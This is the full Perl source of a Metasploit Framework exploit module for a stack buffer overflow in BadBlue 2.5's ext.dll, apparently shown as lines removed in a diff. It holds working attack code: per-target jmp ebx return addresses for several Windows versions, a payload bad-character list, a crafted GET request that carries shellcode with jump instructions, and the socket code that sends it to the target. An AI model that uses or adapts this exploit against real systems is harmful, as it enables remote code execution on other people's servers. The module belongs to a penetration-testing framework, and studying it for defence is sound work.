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- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::badblue_ext_overflow;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow',
- 'Version' => '$Revision: 2275 $',
- 'Authors' => [ 'acaro <acaro [at] jervus.it>', ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32' ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' =>
- {
- 'Space' => 410,
- 'MinNops' => 10,
- 'BadChars' => "\x00\x0a\x0d\x20\x26\x2b\x26\x3d\x25\x8c\x3c",
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This is a stack overflow exploit for BadBlue version 2.5.
- Tested only the Italian language version of Windows 2000 SP0 and SP4.
- Based on the exploit by Hat-Squad.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', 14238],
- ['BID', 7387],
- ['MIL', 11],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' =>
- [
- ['Bad Blue 2.5 (Universal)', 75, 0x10027728],# jmp ebx in ext.dll
- ['Windows 2000 SP0-SP3 English', 75, 0x6c4292ab],# jmp ebx in mfc42.dll
- ['Windows 2000 SP4 English', 75, 0x6c4302d3],# jmp ebx in mfc42.dll
- ['Windows XP SP0-SP1 English', 75, 0x7762c383],# jmp ebx in shell32.dll
- ['Windows XP SP2 English', 75, 0x73e7dcfd],# jmp ebx in mfc42.dll
- ['Windows 2003 Server SP0-SP1 English', 75, 0x77d7eaf0],# jmp ebx in user32.dll
- ],
-
- 'Keys' => ['badblue'],
-
- 'DisclosureDate' => 'Apr 20 2003',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- my $pattern = "GET /ext.dll?mfcisapicommand=";
-
- $pattern .= $shellcode;
- $pattern .= Pex::Text::AlphaNumText($target->[1]);
- $pattern .= "\xEB\x0C\x90\x90";
- $pattern .= pack('V', $target->[2]);
- $pattern .= $self->MakeNops(8);
- $pattern .= "\xE9\x0B\xFE\xFF\xFF";
- $pattern .= $self->MakeNops(8);
-
- my $request = $pattern . "\x0D\x0A\x0D\x0A";
-
- $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp ebx at 0x%.8x...", $target->[2]));
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request);
- $s->Recv(-1, 10);
- $s->Close();
- return;
- }
-
- 1;
-